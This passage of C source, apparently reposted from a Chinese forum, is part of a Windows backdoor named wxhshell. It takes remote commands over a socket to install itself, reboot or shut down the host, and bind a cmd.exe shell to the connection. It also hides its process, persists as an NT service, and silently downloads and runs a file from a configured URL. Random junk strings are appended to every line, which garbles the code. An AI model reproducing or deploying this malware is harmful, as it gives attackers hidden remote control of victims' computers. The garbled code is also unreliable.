  // 安装 K; hP0J  
  case 'i': { }Dcpe M?  
    if(Install()) OmK0-fa/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O*/Utl  
    else 2y$DTMu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uU$/4{  
    break; ](-[ I#  
    } v{lDEF@2^N  
  // 卸载 v(O@~8(I  
  case 'r': { @DM NL sQ  
    if(Uninstall()) +LWgby4q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); # 6?2 2Os  
    else WH $*\IGJL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *x#5S.i1  
    break; -"^"& )  
    } +&X>ul  
  // 显示 wxhshell 所在路径 &,XPMT  
  case 'p': { |M<R{Tt}nf  
    char svExeFile[MAX_PATH]; } -hH2  
    strcpy(svExeFile,"\n\r"); \sVzBHy d  
      strcat(svExeFile,ExeFile); EG=U](8T  
        send(wsh,svExeFile,strlen(svExeFile),0); },5LrX`L  
    break; [A!=Hv_$  
    } H lFVc  
  // 重启 k ;vOPcw  
  case 'b': { [daR)C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LWM& k#i  
    if(Boot(REBOOT)) 86&r;c:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `i!-@WN"  
    else { Q3)[ *61e  
    closesocket(wsh); E9 #o0Di  
    ExitThread(0); odcrP\S  
    } blbzh';0}  
    break; kc2E4i  
    } CS"k0V44}  
  // 关机 z"sv,W  
  case 'd': { X~; *zYd5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $U_1e'  
    if(Boot(SHUTDOWN)) Tc;BE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5FNf)F   
    else { Zr\G=0`  
    closesocket(wsh); Mr K?,7*Xi  
    ExitThread(0); c%n%,R>  
    } b{e|~v6&  
    break; 8=sMmpB 7u  
    } q p1rP#  
  // 获取shell zpxy X|  
  case 's': { 7XIG ne%v  
    CmdShell(wsh); ZcN%F)htm  
    closesocket(wsh); ;}4e+`fF|  
    ExitThread(0); o648 xUP  
    break; CH h6Mnw  
  } vC5 (  
  // 退出 z?_5fte`  
  case 'x': { }xzbg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o|a]Q  
    CloseIt(wsh); %1]Lc=[j  
    break; _{?/4ZhA\+  
    } w`0r`\#V/  
  // 离开 myY@Wp  
  case 'q': { ! XNTk]!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =:'a)o  
    closesocket(wsh); Ed~2Qr\65  
    WSACleanup(); (kI@U![u  
    exit(1); 9ev " BO  
    break; Y{#m=-h  
        } b<rJ@1qtJ  
  } m&#a M8:\  
  } Mio~CJ"?  
A|U_$!cLZ  
  // 提示信息 #6<9FY#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bQM_rqjJGw  
} wq&TU'O  
  } KEj-y+  
9Ic~F^  
  return; vN4g#,<  
} s*j0uAq)up  
M%2 F7 FY  
// shell模块句柄 .@ElfPP(L  
int CmdShell(SOCKET sock) #G ZGk?  
{ ]LhNP}c  
STARTUPINFO si; A,qWg0A]nt  
ZeroMemory(&si,sizeof(si)); FVcoo V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3$`qy|=zO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M e  
PROCESS_INFORMATION ProcessInfo; U8KEg)Msk  
char cmdline[]="cmd"; f)+fdc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ojH-;|f  
  return 0; ~FV Z0%+,  
} i;>Hy|  
/TgG^|  
// 自身启动模式 .sDVBT'%  
int StartFromService(void)  HRKe 7#e  
{ uU]4)Hp  
typedef struct NN W*  
{ o5FBqt  
  DWORD ExitStatus; obE_`u l#  
  DWORD PebBaseAddress; 93d ht  
  DWORD AffinityMask; B6b {hsO  
  DWORD BasePriority; [sY>ac  
  ULONG UniqueProcessId; `QlChxd  
  ULONG InheritedFromUniqueProcessId; 0 .dSP$e  
}   PROCESS_BASIC_INFORMATION; r`L$[C5I  
<vV?VV([  
PROCNTQSIP NtQueryInformationProcess; Ot]PH[+  
 :RW0<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a[GlqaQy+-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; YDyi6x,  
BjR:#*<qD  
  HANDLE             hProcess; pFg9-xd%  
  PROCESS_BASIC_INFORMATION pbi; Z\y@rp\l  
eID"&SSU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HBL)_c{/O  
  if(NULL == hInst ) return 0; p' FYK|  
0Kjm:x9T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g<Sa{<0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .;n<k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eRa1eR gP  
'7{0k{  
  if (!NtQueryInformationProcess) return 0; s Hu~;)  
56m|gZcC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @"H+QVJ@  
  if(!hProcess) return 0; SA|f1R2uS  
Ov)rsi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l 49)Cv/  
Px}#{fkS  
  CloseHandle(hProcess); S3Tww]q  
o=2y`Eq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CV 4r31w  
if(hProcess==NULL) return 0; @M"h_Z1#  
c|Nv^V*2  
HMODULE hMod; x 1$tS#lS  
char procName[255]; )=X8kuB~  
unsigned long cbNeeded; 3M(:}c  
5_nkN`x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [Qv%  
0%+TU4Xx  
  CloseHandle(hProcess); l0b Y  
){")RrD(  
if(strstr(procName,"services")) return 1; // 以服务启动 #T n~hnW  
c% 0h!zF  
  return 0; // 注册表启动 .)B_~tct  
} OlFls 8#>  
Hi9;i/  
// 主模块 ~y^#?;  
int StartWxhshell(LPSTR lpCmdLine) O.1Z3~r-N  
{ )D@1V=9,  
  SOCKET wsl; M>0=A  
BOOL val=TRUE; ts%@1Y?  
  int port=0; 2[Q*?N  
  struct sockaddr_in door; =[?2'riI  
j 46f Q  
  if(wscfg.ws_autoins) Install(); }O@S ;[v S  
M:nXn7)+  
port=atoi(lpCmdLine); W==HV0n  
]{nFB3vtB  
if(port<=0) port=wscfg.ws_port; Hv<%_t_/  
)AqM?FE4R  
  WSADATA data; qw0tw2|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; us4.-L  
)"jG)c^1*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <2ffcBv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I1&Z@[  
  door.sin_family = AF_INET; McxJ C<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E[t\LTt*n  
  door.sin_port = htons(port); JXGIVH?Rpu  
WMZa6cH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =5%jKHo+9z  
closesocket(wsl); Zo;@StN3}T  
return 1; H[<"DP  
} 8b(UqyV  
]NuY{T&:  
  if(listen(wsl,2) == INVALID_SOCKET) { LZM[Wg#  
closesocket(wsl); M[R, m_p  
return 1; @*q\$Eg}2  
} Nb#E +\q  
  Wxhshell(wsl); &.=d,XKN  
  WSACleanup(); eOD;@4lR  
{+z+6i  
return 0; l8GziM{lp  
}^?dK3~q  
} 0UWLs_k:  
0FjSa\ZH  
// 以NT服务方式启动 ?O\n!c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B HoZ}1_  
{ &>@nW!n u  
DWORD   status = 0; {^"c>'R  
  DWORD   specificError = 0xfffffff; =^q:h<  
ECg/ge2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *ta|,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; YANg2L>MK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x nWapG  
  serviceStatus.dwWin32ExitCode     = 0; /qo.Z  
  serviceStatus.dwServiceSpecificExitCode = 0; /_x?PiL  
  serviceStatus.dwCheckPoint       = 0; bW3e*O$V  
  serviceStatus.dwWaitHint       = 0; q' 3=  
*FK!^Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z?XE~6aP>  
  if (hServiceStatusHandle==0) return; vj[ .`fY  
4eBM/i  
status = GetLastError(); ub+>i  
  if (status!=NO_ERROR) 0RYh4'=F  
{ SG8|xoL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; twNZ^=SGr  
    serviceStatus.dwCheckPoint       = 0; AJ^9[j}  
    serviceStatus.dwWaitHint       = 0; pL.r 9T.  
    serviceStatus.dwWin32ExitCode     = status; S<88>|&n]  
    serviceStatus.dwServiceSpecificExitCode = specificError; Nypa,_9}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); YmB z$  
    return; FFR_1Vf  
  } K$ #(\-M  
-g;iMqh#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -7'>Rw  
  serviceStatus.dwCheckPoint       = 0; {{SQL)yJ  
  serviceStatus.dwWaitHint       = 0; G0CmY43  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _s|C0Pt  
} Rw^4S@~T  
'2uQ  
// 处理NT服务事件,比如:启动、停止 6}n_r}kNR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i)+@'!6  
{ D7[ 8*^  
switch(fdwControl)  #XQEfa  
{ C[&  \Xq  
case SERVICE_CONTROL_STOP: EtcAU}9  
  serviceStatus.dwWin32ExitCode = 0; _;v4 ]MU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k/j]*~"  
  serviceStatus.dwCheckPoint   = 0; r<UZ\d -  
  serviceStatus.dwWaitHint     = 0; 3 5B0L.R  
  { 5z5#_*)O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EXS 1.3>  
  } 1 q}iUnR  
  return; jNaK]  
case SERVICE_CONTROL_PAUSE: rVt6tx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?bmP<(N5/  
  break; T.`EDluG  
case SERVICE_CONTROL_CONTINUE: .N5}JUj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5``/exG>  
  break; ,Tvk&<!0  
case SERVICE_CONTROL_INTERROGATE: Dx4?6  
  break; *-3K],^a  
}; }/SbmW8(1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a7%5Qg9B;  
} zp!{u{  
v'`C16&^]  
// 标准应用程序主函数 deQ0)A 4g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !-U5d9!  
{ DNLqipUw  
s34{\/'D+  
// 获取操作系统版本 Gi6sl_"q  
OsIsNt=GetOsVer(); h-<('w:A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5^ARC^v  
i`FevAx;[m  
  // 从命令行安装 C6M|A3^T  
  if(strpbrk(lpCmdLine,"iI")) Install(); crz )F"  
i"0^Gr  
  // 下载执行文件 % E3  
if(wscfg.ws_downexe) { (Z,v)TOXjV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PUuxKW}  
  WinExec(wscfg.ws_filenam,SW_HIDE); \WQ\q \  
} J)x-Yhe  
4~P{H/]  
if(!OsIsNt) { A'c0zWV2  
// 如果时win9x,隐藏进程并且设置为注册表启动 _o'ii VDuD  
HideProc(); -,uTAk0+@  
StartWxhshell(lpCmdLine); qTj7mUk  
} 1 }Tbp_  
else + Hc[5WL  
  if(StartFromService()) ;;2XLkWu  
  // 以服务方式启动 =!GUQLS{  
  StartServiceCtrlDispatcher(DispatchTable); K;k_MA310  
else /$|C s  
  // 普通方式启动 4;<?ec(dc  
  StartWxhshell(lpCmdLine); W.r0W2))(  
<ZSH1~<{6  
return 0; V\W?@V9g-  
}
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只看该作者 1 发表于: 2006-10-10
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